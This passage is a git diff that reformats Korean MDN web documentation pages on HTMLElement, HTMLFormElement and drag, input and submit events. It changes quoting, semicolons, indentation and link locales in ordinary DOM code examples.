@@ -2,6 +2,7 @@
 title: HTMLDocument
 slug: Web/API/HTMLDocument
 ---
+
 {{ APIRef("HTML DOM") }}
 
 **`HTMLDocument`**은 일반적인 (XML) 문서에서 기본적으로 존재하지 않는 특별한 프로퍼티와 메소드에 접근을 제공하는 DOM의 추상 인터페이스입니다. 특히 HTML 문서와 엘리먼트에 관련된 기능을 추가해줍니다.
diff --git a/files/ko/web/api/htmlelement/accesskey/index.md b/files/ko/web/api/htmlelement/accesskey/index.md
index a366a6d0cb45e1..adeaf6cc7cf7fc 100644
--- a/files/ko/web/api/htmlelement/accesskey/index.md
+++ b/files/ko/web/api/htmlelement/accesskey/index.md
@@ -3,6 +3,7 @@ title: Element.accessKey
 slug: Web/API/HTMLElement/accessKey
 original_slug: Web/API/Element/accessKey
 ---
+
 {{APIRef("DOM")}}
 
 **`Element.accessKey`** 속성은 주어진 사용자가 눌러 주어진 엘리먼트로 이동할 수 있는 키 입력 세트입니다.
diff --git a/files/ko/web/api/htmlelement/accesskeylabel/index.md b/files/ko/web/api/htmlelement/accesskeylabel/index.md
index 0ded8af5ead433..f7211ad812d5e3 100644
--- a/files/ko/web/api/htmlelement/accesskeylabel/index.md
+++ b/files/ko/web/api/htmlelement/accesskeylabel/index.md
@@ -10,7 +10,7 @@ slug: Web/API/HTMLElement/accessKeyLabel
 ## 구문
 
 ```js
-label = element.accessKeyLabel
+label = element.accessKeyLabel;
 ```
 
 ## 예시
@@ -18,16 +18,16 @@ label = element.accessKeyLabel
 ### JavaScript
 
 ```js
-var node = document.getElementById('btn1');
+var node = document.getElementById("btn1");
 if (node.accessKeyLabel) {
-  node.title += ' [' + node.accessKeyLabel + ']';
+  node.title += " [" + node.accessKeyLabel + "]";
 } else {
-  node.title += ' [' + node.accessKey + ']';
+  node.title += " [" + node.accessKey + "]";
 }
 
 node.onclick = function () {
-  var p = document.createElement('p');
-  p.textContent = 'Clicked!';
+  var p = document.createElement("p");
+  p.textContent = "Clicked!";
   node.parentNode.appendChild(p);
 };
 ```
diff --git a/files/ko/web/api/htmlelement/click/index.md b/files/ko/web/api/htmlelement/click/index.md
index 0c5b3cbcabee1a..7fd551625e7141 100644
--- a/files/ko/web/api/htmlelement/click/index.md
+++ b/files/ko/web/api/htmlelement/click/index.md
@@ -12,7 +12,7 @@ slug: Web/API/HTMLElement/click
 ## 구문
 
 ```js
-element.click()
+element.click();
 ```
 
 ## 명세
diff --git a/files/ko/web/api/htmlelement/contenteditable/index.md b/files/ko/web/api/htmlelement/contenteditable/index.md
index 8a88497e23a388..cef984713bcc1c 100644
--- a/files/ko/web/api/htmlelement/contenteditable/index.md
+++ b/files/ko/web/api/htmlelement/contenteditable/index.md
@@ -2,6 +2,7 @@
 title: HTMLElement.contentEditable
 slug: Web/API/HTMLElement/contentEditable
 ---
+
 {{APIRef("HTML DOM")}}
 
 {{domxref("HTMLElement")}} 요소의 **`contenteditable`** 속성은 요소의 편집 가능 여부를 나타냅니다. 열거형 속성으로, 다음 중 하나의 값을 가질 수 있습니다.
diff --git a/files/ko/web/api/htmlelement/drag_event/index.md b/files/ko/web/api/htmlelement/drag_event/index.md
index b10342317568ba..a8140721866c3b 100644
--- a/files/ko/web/api/htmlelement/drag_event/index.md
+++ b/files/ko/web/api/htmlelement/drag_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Document: drag 이벤트'
+title: "Document: drag 이벤트"
 slug: Web/API/HTMLElement/drag_event
 original_slug: Web/API/Document/drag_event
 ---
@@ -43,9 +43,7 @@ original_slug: Web/API/Document/drag_event
 
 ```html
 <div class="dropzone">
-  <div id="draggable" draggable="true">
-    드래그 가능
-  </div>
+  <div id="draggable" draggable="true">드래그 가능</div>
 </div>
 <div class="dropzone"></div>
 ```
@@ -76,7 +74,7 @@ body {
 }
 
 .dragging {
-  opacity: .5;
+  opacity: 0.5;
 }
 ```
 
@@ -86,43 +84,47 @@ body {
 let dragged;
 
 /* 드래그 가능한 대상에서 발생하는 이벤트 */
-document.addEventListener("drag", event => {
+document.addEventListener("drag", (event) => {
   console.log("dragging");
 });
 
-document.addEventListener("dragstart", event => {
+document.addEventListener("dragstart", (event) => {
   // 드래그한 요소에 대한 참조 저장
   dragged = event.target;
   // 반투명하게 만들기
   event.target.classList.add("dragging");
 });
 
-document.addEventListener("dragend", event => {
+document.addEventListener("dragend", (event) => {
   // 투명도 초기화
   event.target.classList.remove("dragging");
 });
 
 /* 드롭 대상에서 발생하는 이벤트 */
-document.addEventListener("dragover", event => {
-  // 드롭을 허용하기 위해 기본 동작 취소
-  event.preventDefault();
-}, false);
-
-document.addEventListener("dragenter", event => {
+document.addEventListener(
+  "dragover",
+  (event) => {
+    // 드롭을 허용하기 위해 기본 동작 취소
+    event.preventDefault();
+  },
+  false,
+);
+
+document.addEventListener("dragenter", (event) => {
   // 드래그 가능한 요소가 대상 위로 오면 강조
   if (event.target.classList.contains("dropzone")) {
     event.target.classList.add("dragover");
   }
 });
 
-document.addEventListener("dragleave", event => {
+document.addEventListener("dragleave", (event) => {
   // 드래그 가능한 요소가 대상 밖으로 나가면 강조 제거
   if (event.target.classList.contains("dropzone")) {
     event.target.classList.remove("dragover");
   }
 });
 
-document.addEventListener("drop", event => {
+document.addEventListener("drop", (event) => {
   // 일부 요소의 링크 열기와 같은 기본 동작 취소
   event.preventDefault();
   // 드래그한 요소를 선택한 드롭 대상으로 이동
diff --git a/files/ko/web/api/htmlelement/dragend_event/index.md b/files/ko/web/api/htmlelement/dragend_event/index.md
index 1a8b6aa67ad290..79173db8bd03eb 100644
--- a/files/ko/web/api/htmlelement/dragend_event/index.md
+++ b/files/ko/web/api/htmlelement/dragend_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Document: dragend 이벤트'
+title: "Document: dragend 이벤트"
 slug: Web/API/HTMLElement/dragend_event
 original_slug: Web/API/Document/dragend_event
 ---
@@ -49,9 +49,7 @@ original_slug: Web/API/Document/dragend_event
 
 ```html
 <div id="container">
-  <div id="draggable" draggable="true">
-    드래그 가능
-  </div>
+  <div id="draggable" draggable="true">드래그 가능</div>
 </div>
 <div class="dropzone"></div>
 ```
@@ -77,19 +75,19 @@ body {
 }
 
 .dragging {
-  opacity: .5;
+  opacity: 0.5;
 }
 ```
 
 #### JavaScript
 
 ```js
-document.addEventListener("dragstart", event => {
+document.addEventListener("dragstart", (event) => {
   // 반투명하게 만들기
   event.target.classList.add("dragging");
 });
 
-document.addEventListener("dragend", event => {
+document.addEventListener("dragend", (event) => {
   // 불투명하게 초기화
   event.target.classList.remove("dragging");
 });
diff --git a/files/ko/web/api/htmlelement/dragstart_event/index.md b/files/ko/web/api/htmlelement/dragstart_event/index.md
index 18d9cca3ca20d8..073145c7ea1288 100644
--- a/files/ko/web/api/htmlelement/dragstart_event/index.md
+++ b/files/ko/web/api/htmlelement/dragstart_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Document: dragstart 이벤트'
+title: "Document: dragstart 이벤트"
 slug: Web/API/HTMLElement/dragstart_event
 original_slug: Web/API/Document/dragstart_event
 ---
@@ -49,9 +49,7 @@ original_slug: Web/API/Document/dragstart_event
 
 ```html
 <div id="container">
-  <div id="draggable" draggable="true">
-    드래그 가능
-  </div>
+  <div id="draggable" draggable="true">드래그 가능</div>
 </div>
 <div class="dropzone"></div>
 ```
@@ -77,19 +75,19 @@ body {
 }
 
 .dragging {
-  opacity: .5;
+  opacity: 0.5;
 }
 ```
 
 #### JavaScript
 
 ```js
-document.addEventListener("dragstart", event => {
+document.addEventListener("dragstart", (event) => {
   // 반투명하게 만들기
   event.target.classList.add("dragging");
 });
 
-document.addEventListener("dragend", event => {
+document.addEventListener("dragend", (event) => {
   // 불투명하게 초기화
   event.target.classList.remove("dragging");
 });
diff --git a/files/ko/web/api/htmlelement/index.md b/files/ko/web/api/htmlelement/index.md
index cc4f92eea8f857..2b2e0d05a86ebc 100644
--- a/files/ko/web/api/htmlelement/index.md
+++ b/files/ko/web/api/htmlelement/index.md
@@ -118,80 +118,80 @@ _부모인 {{domxref("Element")}}의 메서드를 상속합니다._
 
 Listen to these events using `addEventListener()` or by assigning an event listener to the `oneventname` property of this interface.
 
-- [`invalid`](/en-US/docs/Web/API/HTMLElement/invalid_event)
+- [`invalid`](/ko/docs/Web/API/HTMLElement/invalid_event)
   - : Fired when an element does not satisfy its constraints during constraint validation.
-    Also available via the [`oninvalid`](/en-US/docs/Web/API/GlobalEventHandlers/oninvalid) property.
+    Also available via the [`oninvalid`](/ko/docs/Web/API/GlobalEventHandlers/oninvalid) property.
 
 ### Animation events
 
-- [`animationcancel`](/en-US/docs/Web/API/HTMLElement/animationcancel_event)
+- [`animationcancel`](/ko/docs/Web/API/HTMLElement/animationcancel_event)
   - : Fired when an animation unexpectedly aborts.
-    Also available via the [`onanimationcancel`](/en-US/docs/Web/API/GlobalEventHandlers/onanimationcancel) property.
-- [`animationend`](/en-US/docs/Web/API/HTMLElement/animationend_event)
+    Also available via the [`onanimationcancel`](/ko/docs/Web/API/GlobalEventHandlers/onanimationcancel) property.
+- [`animationend`](/ko/docs/Web/API/HTMLElement/animationend_event)
   - : Fired when an animation has completed normally.
-    Also available via the [`onanimationend`](/en-US/docs/Web/API/GlobalEventHandlers/onanimationend) property.
-- [`animationiteration`](/en-US/docs/Web/API/HTMLElement/animationiteration_event)
+    Also available via the [`onanimationend`](/ko/docs/Web/API/GlobalEventHandlers/onanimationend) property.
+- [`animationiteration`](/ko/docs/Web/API/HTMLElement/animationiteration_event)
   - : Fired when an animation iteration has completed.
-    Also available via the [`onanimationiteration`](/en-US/docs/Web/API/GlobalEventHandlers/onanimationiteration) property.
-- [`animationstart`](/en-US/docs/Web/API/HTMLElement/animationstart_event)
+    Also available via the [`onanimationiteration`](/ko/docs/Web/API/GlobalEventHandlers/onanimationiteration) property.
+- [`animationstart`](/ko/docs/Web/API/HTMLElement/animationstart_event)
   - : Fired when an animation starts.
-    Also available via the [`onanimationstart`](/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart) property.
+    Also available via the [`onanimationstart`](/ko/docs/Web/API/GlobalEventHandlers/onanimationstart) property.
 
 ### Input events
 
-- [`beforeinput`](/en-US/docs/Web/API/HTMLElement/beforeinput_event)
+- [`beforeinput`](/ko/docs/Web/API/HTMLElement/beforeinput_event)
   - : Fired when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element is about to be modified.
-- [`input`](/en-US/docs/Web/API/HTMLElement/input_event)
+- [`input`](/ko/docs/Web/API/HTMLElement/input_event)
   - : Fired when the `value` of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.
-    Also available via the [`oninput`](/en-US/docs/Web/API/GlobalEventHandlers/oninput) property.
+    Also available via the [`oninput`](/ko/docs/Web/API/GlobalEventHandlers/oninput) property.
 
 ### Pointer events
 
-- [`gotpointercapture`](/en-US/docs/Web/API/HTMLElement/gotpointercapture_event)
-  - : Fired when an element captures a pointer using [`setPointerCapture()`](/en-US/docs/Web/API/Element/setPointerCapture).
-    Also available via the [`ongotpointercapture`](/en-US/docs/Web/API/GlobalEventHandlers/ongotpointercapture) property.
-- [`lostpointercapture`](/en-US/docs/Web/API/HTMLElement/lostpointercapture_event)
+- [`gotpointercapture`](/ko/docs/Web/API/HTMLElement/gotpointercapture_event)
+  - : Fired when an element captures a pointer using [`setPointerCapture()`](/ko/docs/Web/API/Element/setPointerCapture).
+    Also available via the [`ongotpointercapture`](/ko/docs/Web/API/GlobalEventHandlers/ongotpointercapture) property.
+- [`lostpointercapture`](/ko/docs/Web/API/HTMLElement/lostpointercapture_event)
   - : Fired when a [captured pointer](/ko/docs/Web/API/Pointer_events#Pointer_capture) is released.
-    Also available via the [`onlostpointercapture`](/en-US/docs/Web/API/GlobalEventHandlers/onlostpointercapture) property.
-- [`pointercancel`](/en-US/docs/Web/API/HTMLElement/pointercancel_event)
+    Also available via the [`onlostpointercapture`](/ko/docs/Web/API/GlobalEventHandlers/onlostpointercapture) property.
+- [`pointercancel`](/ko/docs/Web/API/HTMLElement/pointercancel_event)
   - : Fired when a pointer event is canceled.
-    Also available via the [`onpointercancel`](/en-US/docs/Web/API/GlobalEventHandlers/onpointercancel) property.
-- [`pointerdown`](/en-US/docs/Web/API/HTMLElement/pointerdown_event)
+    Also available via the [`onpointercancel`](/ko/docs/Web/API/GlobalEventHandlers/onpointercancel) property.
+- [`pointerdown`](/ko/docs/Web/API/HTMLElement/pointerdown_event)
   - : Fired when a pointer becomes active.
-    Also available via the [`onpointerdown`](/en-US/docs/Web/API/GlobalEventHandlers/onpointerdown) property.
-- [`pointerenter`](/en-US/docs/Web/API/HTMLElement/pointerenter_event)
+    Also available via the [`onpointerdown`](/ko/docs/Web/API/GlobalEventHandlers/onpointerdown) property.
+- [`pointerenter`](/ko/docs/Web/API/HTMLElement/pointerenter_event)
   - : Fired when a pointer is moved into the hit test boundaries of an element or one of its descendants.
-    Also available via the [`onpointerenter`](/en-US/docs/Web/API/GlobalEventHandlers/onpointerenter) property.
-- [`pointerleave`](/en-US/docs/Web/API/HTMLElement/pointerleave_event)
+    Also available via the [`onpointerenter`](/ko/docs/Web/API/GlobalEventHandlers/onpointerenter) property.
+- [`pointerleave`](/ko/docs/Web/API/HTMLElement/pointerleave_event)
   - : Fired when a pointer is moved out of the hit test boundaries of an element.
-    Also available via the [`onpointerleave`](/en-US/docs/Web/API/GlobalEventHandlers/onpointerleave) property.
-- [`pointermove`](/en-US/docs/Web/API/HTMLElement/pointermove_event)
+    Also available via the [`onpointerleave`](/ko/docs/Web/API/GlobalEventHandlers/onpointerleave) property.
+- [`pointermove`](/ko/docs/Web/API/HTMLElement/pointermove_event)
   - : Fired when a pointer changes coordinates.
-    Also available via the [`onpointermove`](/en-US/docs/Web/API/GlobalEventHandlers/onpointermove) property.
-- [`pointerout`](/en-US/docs/Web/API/HTMLElement/pointerout_event)
+    Also available via the [`onpointermove`](/ko/docs/Web/API/GlobalEventHandlers/onpointermove) property.
+- [`pointerout`](/ko/docs/Web/API/HTMLElement/pointerout_event)
   - : Fired when a pointer is moved out of the _hit test_ boundaries of an element (among other reasons).
-    Also available via the [`onpointerout`](/en-US/docs/Web/API/GlobalEventHandlers/onpointerout) property.
-- [`pointerover`](/en-US/docs/Web/API/HTMLElement/pointerover_event)
+    Also available via the [`onpointerout`](/ko/docs/Web/API/GlobalEventHandlers/onpointerout) property.
+- [`pointerover`](/ko/docs/Web/API/HTMLElement/pointerover_event)
   - : Fired when a pointer is moved into an element's hit test boundaries.
-    Also available via the [`onpointerover`](/en-US/docs/Web/API/GlobalEventHandlers/onpointerover) property.
-- [`pointerup`](/en-US/docs/Web/API/HTMLElement/pointerup_event)
+    Also available via the [`onpointerover`](/ko/docs/Web/API/GlobalEventHandlers/onpointerover) property.
+- [`pointerup`](/ko/docs/Web/API/HTMLElement/pointerup_event)
   - : Fired when a pointer is no longer active.
-    Also available via the [`onpointerup`](/en-US/docs/Web/API/GlobalEventHandlers/onpointerup) property.
+    Also available via the [`onpointerup`](/ko/docs/Web/API/GlobalEventHandlers/onpointerup) property.
 
 ### Transition events
 
-- [`transitioncancel`](/en-US/docs/Web/API/HTMLElement/transitioncancel_event)
+- [`transitioncancel`](/ko/docs/Web/API/HTMLElement/transitioncancel_event)
   - : Fired when a [CSS transition](/ko/docs/CSS/Using_CSS_transitions) is canceled.
-    Also available via the [`ontransitioncancel`](/en-US/docs/Web/API/GlobalEventHandlers/ontransitioncancel) property.
-- [`transitionend`](/en-US/docs/Web/API/HTMLElement/transitionend_event)
+    Also available via the [`ontransitioncancel`](/ko/docs/Web/API/GlobalEventHandlers/ontransitioncancel) property.
+- [`transitionend`](/ko/docs/Web/API/HTMLElement/transitionend_event)
   - : Fired when a [CSS transition](/ko/docs/CSS/Using_CSS_transitions) has completed.
-    Also available via the [`ontransitionend`](/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend) property.
-- [`transitionrun`](/en-US/docs/Web/API/HTMLElement/transitionrun_event)
+    Also available via the [`ontransitionend`](/ko/docs/Web/API/GlobalEventHandlers/ontransitionend) property.
+- [`transitionrun`](/ko/docs/Web/API/HTMLElement/transitionrun_event)
   - : Fired when a [CSS transition](/ko/docs/CSS/Using_CSS_transitions) is first created.
-    Also available via the [`ontransitionrun`](/en-US/docs/Web/API/GlobalEventHandlers/ontransitionrun) property.
-- [`transitionstart`](/en-US/docs/Web/API/HTMLElement/transitionstart_event)
+    Also available via the [`ontransitionrun`](/ko/docs/Web/API/GlobalEventHandlers/ontransitionrun) property.
+- [`transitionstart`](/ko/docs/Web/API/HTMLElement/transitionstart_event)
   - : Fired when a [CSS transition](/ko/docs/CSS/Using_CSS_transitions) has actually started.
-    Also available via the [`ontransitionstart`](/en-US/docs/Web/API/GlobalEventHandlers/ontransitionstart) property.
+    Also available via the [`ontransitionstart`](/ko/docs/Web/API/GlobalEventHandlers/ontransitionstart) property.
 
 ## 명세
 
diff --git a/files/ko/web/api/htmlelement/innertext/index.md b/files/ko/web/api/htmlelement/innertext/index.md
index fecf0e7ca5a9cb..d4308295478a94 100644
--- a/files/ko/web/api/htmlelement/innertext/index.md
+++ b/files/ko/web/api/htmlelement/innertext/index.md
@@ -3,6 +3,7 @@ title: HTMLElement.innerText
 slug: Web/API/HTMLElement/innerText
 original_slug: Web/API/Node/innerText
 ---
+
 {{APIRef("HTML DOM")}}
 
 {{domxref("HTMLElement")}} 인터페이스의 **`innerText`** 속성은 요소와 그 자손의 렌더링 된 텍스트 콘텐츠를 나타냅니다. `innerText`는 사용자가 커서를 이용해 요소의 콘텐츠를 선택하고 클립보드에 복사했을 때 얻을 수 있는 텍스트의 근삿값을 제공합니다.
@@ -12,8 +13,8 @@ original_slug: Web/API/Node/innerText
 ## 구문
 
 ```js
-const renderedText = htmlElement.innerText
-htmlElement.innerText = string
+const renderedText = htmlElement.innerText;
+htmlElement.innerText = string;
 ```
 
 ### 값
@@ -29,8 +30,12 @@ htmlElement.innerText = string
 ```html
 <h3>원본 요소:</h3>
 <p id="source">
-  <style>#source { color: red; }</style>
-아래에서<br>이 글을<br>어떻게 인식하는지 살펴보세요.
+  <style>
+    #source {
+      color: red;
+    }
+  </style>
+  아래에서<br />이 글을<br />어떻게 인식하는지 살펴보세요.
   <span style="display:none">숨겨진 글</span>
 </p>
 <h3>textContent 결과:</h3>
@@ -42,9 +47,9 @@ htmlElement.innerText = string
 ### JavaScript
 
 ```js
-const source = document.getElementById('source');
-const textContentOutput = document.getElementById('textContentOutput');
-const innerTextOutput = document.getElementById('innerTextOutput');
+const source = document.getElementById("source");
+const textContentOutput = document.getElementById("textContentOutput");
+const innerTextOutput = document.getElementById("innerTextOutput");
 
 textContentOutput.innerHTML = source.textContent;
 innerTextOutput.innerHTML = source.innerText;
diff --git a/files/ko/web/api/htmlelement/input_event/index.md b/files/ko/web/api/htmlelement/input_event/index.md
index 83e57af5411e7b..910df54097fcbd 100644
--- a/files/ko/web/api/htmlelement/input_event/index.md
+++ b/files/ko/web/api/htmlelement/input_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'HTMLElement: input 이벤트'
+title: "HTMLElement: input 이벤트"
 short-title: input
 slug: Web/API/HTMLElement/input_event
 l10n:
@@ -39,17 +39,17 @@ oninput = (event) => {};
 ### HTML
 
 ```html
-<input placeholder="텍스트 입력" name="name"/>
+<input placeholder="텍스트 입력" name="name" />
 <p id="values"></p>
 ```
 
 ### JavaScript
 
 ```js
-const input = document.querySelector('input');
-const log = document.getElementById('values');
+const input = document.querySelector("input");
+const log = document.getElementById("values");
 
-input.addEventListener('input', updateValue);
+input.addEventListener("input", updateValue);
 
 function updateValue(e) {
   log.textContent = e.target.value;
diff --git a/files/ko/web/api/htmlelement/offsetparent/index.md b/files/ko/web/api/htmlelement/offsetparent/index.md
index 8b0ab502c3d1e3..8ef7011678f60e 100644
--- a/files/ko/web/api/htmlelement/offsetparent/index.md
+++ b/files/ko/web/api/htmlelement/offsetparent/index.md
@@ -2,6 +2,7 @@
 title: HTMLElement.offsetParent
 slug: Web/API/HTMLElement/offsetParent
 ---
+
 {{ APIRef("HTML DOM") }}
 
 **`HTMLElement.offsetParent`** 읽기전용 프라퍼티는 가장 가까운 (포함 계층에서 가장 가까운) 위치가 정해진 포함하는 엘리먼트 객체에 대한 참조를 반환한다. `offsetParent`는 엘리먼트의 위치가 정해지지 않으면 가장 가까운 테이블 또는 테이블 셀, 루트 엘리먼트 (표준 준수 모드에서는 `html`; quirks 렌더링 모드에서는 `body`) 를 반환한다.
diff --git a/files/ko/web/api/htmlelement/outertext/index.md b/files/ko/web/api/htmlelement/outertext/index.md
index e5fa2cda726f75..273a27f6c1f2f7 100644
--- a/files/ko/web/api/htmlelement/outertext/index.md
+++ b/files/ko/web/api/htmlelement/outertext/index.md
@@ -2,6 +2,7 @@
 title: HTMLElement.outerText
 slug: Web/API/HTMLElement/outerText
 ---
+
 {{APIRef("DOM")}}
 
 {{ Non-standard_header() }}
diff --git a/files/ko/web/api/htmlformelement/elements/index.md b/files/ko/web/api/htmlformelement/elements/index.md
index 452fa2e2d7a6c7..1a8b2f24f28a0e 100644
--- a/files/ko/web/api/htmlformelement/elements/index.md
+++ b/files/ko/web/api/htmlformelement/elements/index.md
@@ -41,9 +41,9 @@ HTML 5 이전에는 `HTMLFormControlsCollection`을 기반으로 하는 {{domxre
 
 ```html
 <form id="my-form">
-  <input type="text" name="username">
-  <input type="text" name="full-name">
-  <input type="password" name="password">
+  <input type="text" name="username" />
+  <input type="text" name="full-name" />
+  <input type="password" name="password" />
 </form>
 ```
 
diff --git a/files/ko/web/api/htmlformelement/index.md b/files/ko/web/api/htmlformelement/index.md
index e5fd65b58c72d8..4237c9098785db 100644
--- a/files/ko/web/api/htmlformelement/index.md
+++ b/files/ko/web/api/htmlformelement/index.md
@@ -60,15 +60,15 @@ _This interface also inherits methods from its parent, {{domxref("HTMLElement")}
 
 Listen to these events using `addEventListener()` or by assigning an event listener to the `oneventname` property of this interface.
 
-- [`formdata`](/en-US/docs/Web/API/HTMLFormElement/formdata_event)
+- [`formdata`](/ko/docs/Web/API/HTMLFormElement/formdata_event)
   - : The `formdata` event fires after the entry list representing the form's data is constructed.
-    Also available via the [`onformdata`](/en-US/docs/Web/API/GlobalEventHandlers/onformdata) property.
-- [`reset`](/en-US/docs/Web/API/HTMLFormElement/reset_event)
+    Also available via the [`onformdata`](/ko/docs/Web/API/GlobalEventHandlers/onformdata) property.
+- [`reset`](/ko/docs/Web/API/HTMLFormElement/reset_event)
   - : The `reset` event fires when a form is reset.
-    Also available via the [`onreset`](/en-US/docs/Web/API/GlobalEventHandlers/onreset) property.
-- [`submit`](/en-US/docs/Web/API/HTMLFormElement/submit_event)
+    Also available via the [`onreset`](/ko/docs/Web/API/GlobalEventHandlers/onreset) property.
+- [`submit`](/ko/docs/Web/API/HTMLFormElement/submit_event)
   - : The `submit` event fires when a form is submitted.
-    Also available via the [`onsubmit`](/en-US/docs/Web/API/GlobalEventHandlers/onsubmit) property.
+    Also available via the [`onsubmit`](/ko/docs/Web/API/GlobalEventHandlers/onsubmit) property.
 
 ## Usage notes
 
@@ -110,43 +110,59 @@ No other elements are included in the list returned by `elements`, which makes i
 Creating a new form element, modifying its attributes, then submitting it:
 
 ```js
-var f = document.createElement("form");// Create a form
-document.body.appendChild(f);          // Add it to the document body
-f.action = "/cgi-bin/some.cgi";        // Add action and method attributes
+var f = document.createElement("form"); // Create a form
+document.body.appendChild(f); // Add it to the document body
+f.action = "/cgi-bin/some.cgi"; // Add action and method attributes
 f.method = "POST";
-f.submit();                            // Call the form's submit method
+f.submit(); // Call the form's submit method
 ```
 
 Extract information from a form element and set some of its attributes:
 
 ```html
 <form name="formA" action="/cgi-bin/test" method="post">
- <p>Press "Info" for form details, or "Set" to change those details.</p>
- <p>
-  <button type="button" onclick="getFormInfo();">Info</button>
-  <button type="button" onclick="setFormInfo(this.form);">Set</button>
-  <button type="reset">Reset</button>
- </p>
-
- <textarea id="form-info" rows="15" cols="20"></textarea>
+  <p>Press "Info" for form details, or "Set" to change those details.</p>
+  <p>
+    <button type="button" onclick="getFormInfo();">Info</button>
+    <button type="button" onclick="setFormInfo(this.form);">Set</button>
+    <button type="reset">Reset</button>
+  </p>
+
+  <textarea id="form-info" rows="15" cols="20"></textarea>
 </form>
 
 <script>
-  function getFormInfo(){
+  function getFormInfo() {
     // Get a reference to the form via its name
     var f = document.forms["formA"];
     // The form properties we're interested in
-    var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptCharset', 'action', 'enctype', 'method', 'target' ];
+    var properties = [
+      "elements",
+      "length",
+      "name",
+      "charset",
+      "action",
+      "acceptCharset",
+      "action",
+      "enctype",
+      "method",
+      "target",
+    ];
     // Iterate over the properties, turning them into a string that we can display to the user
-    var info = properties.map(function(property) { return property + ": " + f[property] }).join("\n");
+    var info = properties
+      .map(function (property) {
+        return property + ": " + f[property];
+      })
+      .join("\n");
 
     // Set the form's <textarea> to display the form's properties
-    document.forms["formA"].elements['form-info'].value = info; // document.forms["formA"]['form-info'].value would also work
+    document.forms["formA"].elements["form-info"].value = info; // document.forms["formA"]['form-info'].value would also work
   }
 
-  function setFormInfo(f){ // Argument should be a form element reference.
+  function setFormInfo(f) {
+    // Argument should be a form element reference.
     f.action = "a-different-url.cgi";
-    f.name   = "a-different-name";
+    f.name = "a-different-name";
   }
 </script>
 ```
@@ -156,34 +172,52 @@ Submit a form into a new window:
 ```html
 <!doctype html>
 <html>
-<head>
-<meta charset="utf-8">
-<title>Example new-window form submission</title>
-</head>
-<body>
-
-<form action="test.php" target="_blank">
-  <p><label>First name: <input type="text" name="firstname"></label></p>
-  <p><label>Last name: <input type="text" name="lastname"></label></p>
-  <p><label><input type="password" name="pwd"></label></p>
-
-  <fieldset>
-   <legend>Pet preference</legend>
-    <p><label><input type="radio" name="pet" value="cat"> Cat</label></p>
-    <p><label><input type="radio" name="pet" value="dog"> Dog</label></p>
-  </fieldset>
-
-  <fieldset>
-    <legend>Owned vehicles</legend>
-
-    <p><label><input type="checkbox" name="vehicle" value="Bike">I have a bike</label></p>
-    <p><label><input type="checkbox" name="vehicle" value="Car">I have a car</label></p>
-  </fieldset>
-
-  <p><button>Submit</button></p>
-</form>
-
-</body>
+  <head>
+    <meta charset="utf-8" />
+    <title>Example new-window form submission</title>
+  </head>
+  <body>
+    <form action="test.php" target="_blank">
+      <p>
+        <label>First name: <input type="text" name="firstname" /></label>
+      </p>
+      <p>
+        <label>Last name: <input type="text" name="lastname" /></label>
+      </p>
+      <p>
+        <label><input type="password" name="pwd" /></label>
+      </p>
+
+      <fieldset>
+        <legend>Pet preference</legend>
+        <p>
+          <label><input type="radio" name="pet" value="cat" /> Cat</label>
+        </p>
+        <p>
+          <label><input type="radio" name="pet" value="dog" /> Dog</label>
+        </p>
+      </fieldset>
+
+      <fieldset>
+        <legend>Owned vehicles</legend>
+
+        <p>
+          <label
+            ><input type="checkbox" name="vehicle" value="Bike" />I have a
+            bike</label
+          >
+        </p>
+        <p>
+          <label
+            ><input type="checkbox" name="vehicle" value="Car" />I have a
+            car</label
+          >
+        </p>
+      </fieldset>
+
+      <p><button>Submit</button></p>
+    </form>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/htmlformelement/submit_event/index.md b/files/ko/web/api/htmlformelement/submit_event/index.md
index 4c135e4d4b4e97..80717d146a1ee8 100644
--- a/files/ko/web/api/htmlformelement/submit_event/index.md
+++ b/files/ko/web/api/htmlformelement/submit_event/index.md
@@ -22,23 +22,23 @@ window.onsubmit = funcRef;
 
 ```html
 <html>
-<script>
-function reg() {
-  window.captureEvents(Event.SUBMIT);
-  window.onsubmit = hit;
-}
-
-function hit() {
-  console.log('hit');
-}
-</script>
-
-<body onload="reg();">
-<form>
-  <input type="submit" value="submit" />
-</form>
-<div id="d"> </div>
-</body>
+  <script>
+    function reg() {
+      window.captureEvents(Event.SUBMIT);
+      window.onsubmit = hit;
+    }
+
+    function hit() {
+      console.log("hit");
+    }
+  </script>
+
+  <body onload="reg();">
+    <form>
+      <input type="submit" value="submit" />
+    </form>
+    <div id="d"></div>
+  </body>
 </html>
 ```
 
diff --git a/files/ko/web/api/htmlinputelement/select_event/index.md b/files/ko/web/api/htmlinputelement/select_event/index.md
index 9cf86419d4ea80..85054a2ef3870a 100644
--- a/files/ko/web/api/htmlinputelement/select_event/index.md
+++ b/files/ko/web/api/htmlinputelement/select_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Element: select event'
+title: "Element: select event"
 slug: Web/API/HTMLInputElement/select_event
 original_slug: Web/API/Element/select_event
 ---
@@ -8,11 +8,11 @@ original_slug: Web/API/Element/select_event
 
 **`select`** 이벤트는 어떤 텍스트가 선택되었을 때 발생됩니다.
 
-| Bubbles                | Yes                                                                                                   |
-| ---------------------- | ----------------------------------------------------------------------------------------------------- |
-| Cancelable             | No                                                                                                    |
+| Bubbles                | Yes                                                                                     |
+| ---------------------- | --------------------------------------------------------------------------------------- |
+| Cancelable             | No                                                                                      |
 | Interface              | 유저 인터페이스로부터 발생된 경우 {{domxref("UIEvent")}}, 아니라면 {{domxref("Event")}} |
-| Event handler property | {{domxref("GlobalEventHandlers.onselect", "onselect")}}                              |
+| Event handler property | {{domxref("GlobalEventHandlers.onselect", "onselect")}}                                 |
 
 The event is not available for all elements in all languages. For example, in HTML, `select` events can be dispatched only on form `{{HtmlElement('input/text', '&lt;input type="text"&gt;')}}` and {{HtmlElement("textarea")}} elements.
 
@@ -21,19 +21,22 @@ The event is not available for all elements in all languages. For example, in HT
 ### Selection logger
 
 ```html
